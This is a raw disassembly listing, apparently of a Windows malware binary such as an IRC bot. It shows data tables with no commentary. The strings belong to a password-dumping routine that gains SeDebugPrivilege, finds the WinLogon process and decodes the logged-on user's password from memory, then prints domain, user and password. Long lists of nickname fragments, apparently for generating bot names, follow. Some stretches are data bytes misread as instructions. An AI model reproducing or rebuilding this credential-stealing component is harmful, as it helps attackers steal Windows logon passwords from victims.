aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437998	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4379D0	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A2C	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset a6nWm		; "ż6nĆWŹ"
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A44	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset a6nWm		; "ż6nĆWŹ"
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 4
unk_437B08	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B54	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437BA4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF8	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_4387A8
		dd offset aE		; "e"
		dd offset aR		; "r"
; ---------------------------------------------------------------------------
		add	dl, 42h
		add	[edi+eax*4-5587FFBDh], ah
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	al, bl
		lodsb
		inc	edx
		add	ah, ah
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_4387A0
		dd offset dword_43879C
		dd offset dword_438798
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438794
		dd offset dword_438790
		dd offset dword_43878C
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438788
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438784
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset word_438770
		dd offset dword_43876C
		dd offset aI_0		; "I"
		dd offset dword_438768
		dd offset dword_438764
		dd offset aA_0		; "A"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset word_43872C
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384C4
		dd offset off_4384C0
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_43832C
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF8	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438788
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_4387A0
		dd offset dword_43879C
		dd offset dword_438798
		dd offset aI		; "i"
		dd offset dword_42B500
; ---------------------------------------------------------------------------
		dec	eax
		mov	bl, 42h
		add	[eax-39h], ah
		inc	edx
		add	[edi+eax*4-5337FFBDh], dl
		inc	edx
		add	[ebx+esi*4+42h], cl
		add	ah, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, dh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_4387A8
		dd offset dword_43878C
		dd offset dword_4387A4
		dd offset dword_438790
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438790
		dd offset dword_43879C
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438148
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438758
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438788
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43873C
		dd offset dword_43D128
		dd offset off_438108
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C8
		dd offset dword_4380C4
		dd offset dword_4380BC
		dd offset dword_4380B0
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438094
		dd offset dword_438090
dword_438090	dd 7536h		; DATA XREF: ___:0043808Co
dword_438094	dd 7535h		; DATA XREF: ___:00438088o
dword_438098	dd 7C75347Ch, 0		; DATA XREF: ___:00438084o
dword_4380A0	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438080o
dword_4380A8	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043807Co
dword_4380B0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438078o
dword_4380BC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438074o
dword_4380C4	dd 6C6F6Ch		; DATA XREF: ___:00438070o
dword_4380C8	dd 746F74h		; DATA XREF: ___:0043806Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438068o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438064o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438060o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043805Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438058o
aShit		db 'shit',0             ; DATA XREF: ___:00438054o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438050o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043804Co
		align 4
off_438108	dd offset word_594F42	; DATA XREF: ___:00438048o
aFree		db 'Free',0             ; DATA XREF: ___:00438034o
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438030o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438024o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438018o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438014o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438010o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FF4o
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE8o
		align 4
off_438148	dd offset loc_425242	; DATA XREF: ___:00437FE4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00437FD0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00437FCCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00437FC8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00437FC4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00437FC0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00437FBCo
aRt		db 'rt',0               ; DATA XREF: ___:00437FB8o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00437FB4o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00437FB0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00437FACo
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00437FA8o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F88o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F40o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F3Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F38o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F34o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F30o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:00437F2Co
		align 10h
aSex		db '{sex}',0            ; DATA XREF: ___:00437F28o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00437F24o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F20o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F1Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F18o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F14o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F10o
aLag		db 'lag',0              ; DATA XREF: ___:00437F0Co
aBad		db 'bad',0              ; DATA XREF: ___:00437F08o
aTree		db 'tree',0             ; DATA XREF: ___:00437F04o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00437F00o
aLez		db 'lez',0              ; DATA XREF: ___:00437EFCo
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF8o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EF4o
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EF0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EECo
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE8o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EE4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437EE0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437EDCo
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ED4o
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437ED0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437ECCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC8o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EC4o
		align 10h
aUla		db 'ula',0              ; DATA XREF: ___:00437EC0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EBCo
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB8o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EB4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EB0o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EACo
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA8o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437EA4o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437EA0o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E9Co
		align 10h
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E98o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E94o
		align 10h
aDevre		db 'devre',0            ; DATA XREF: ___:00437E90o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E8Co
		align 10h
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E88o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E84o
		align 10h
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E80o
		align 4
off_43832C	dd offset byte_4B5245	; DATA XREF: ___:00437E7Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E78o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E74o
		align 10h
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E70o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E6Co
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E68o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E64o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E60o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E5Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E58o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E54o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E50o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E4Co
		align 10h
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E48o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E44o
		align 10h
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E40o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E3Co
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E38o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E34o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E30o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E2Co
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E28o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E24o
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E20o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E1Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E18o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E14o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E10o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E0Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E08o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437E04o
		align 10h
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437E00o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DFCo
aArda		db 'arda',0             ; DATA XREF: ___:00437DF8o
		align 10h
aDevran		db 'devran',0           ; DATA XREF: ___:00437DF4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DF0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DECo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DE4o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DE0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DDCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD8o
		align 10h
off_4384C0	dd offset byte_457441	; DATA XREF: ___:00437DD4o
dword_4384C4	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DD0o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DCCo
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC8o
		align 10h
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DC4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DC0o
		align 10h
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DBCo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB8o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DB4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DB0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DACo
		align 10h
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA8o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437DA4o
aAslii		db 'aslii',0            ; DATA XREF: ___:00437DA0o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D9Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D98o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D94o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D90o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D8Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D88o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D84o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D80o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D7Co
		align 10h
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D78o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D74o
		align 10h
aMary		db 'MARY',0             ; DATA XREF: ___:00437D70o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D6Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D68o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D64o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D60o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D5Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D58o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D54o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D50o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D4Co
		align 10h
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D48o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D44o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D40o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D3Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D38o
		align 10h
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D34o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00437D30o
		align 10h
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D2Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D28o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D24o
		align 10h
aManee		db 'manee',0            ; DATA XREF: ___:00437D20o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:00437D1Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D18o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D14o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D10o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D0Co
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D08o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437D04o
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437D00o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CFCo
		align 10h
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00437CF4o
		align 10h
aKen		db 'ken',0              ; DATA XREF: ___:00437CF0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CECo
		align 10h
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00437CE4o
		align 10h
aSwin		db 'swin',0             ; DATA XREF: ___:00437CE0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CDCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CD4o
		align 10h
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CD0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CCCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CC4o
		align 4
aM_0:					; DATA XREF: ___:00437CC0o
					; ___:0043800Co
		unicode	0, <M>,0
word_43872C	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CBCo
		align 10h
dword_438730	dd 42h			; DATA XREF: ___:00437CB8o
dword_438734	dd 56h			; DATA XREF: ___:00437CB4o
dword_438738	dd 43h			; DATA XREF: ___:00437CB0o
dword_43873C	dd 58h			; DATA XREF: ___:00437CACo
					; ___:00438040o
dword_438740	dd 5Ah			; DATA XREF: ___:00437CA8o
dword_438744	dd 4Ch			; DATA XREF: ___:00437CA4o
dword_438748	dd 4Bh			; DATA XREF: ___:00437CA0o
dword_43874C	dd 4Ah			; DATA XREF: ___:00437C9Co
dword_438750	dd 48h			; DATA XREF: ___:00437C98o
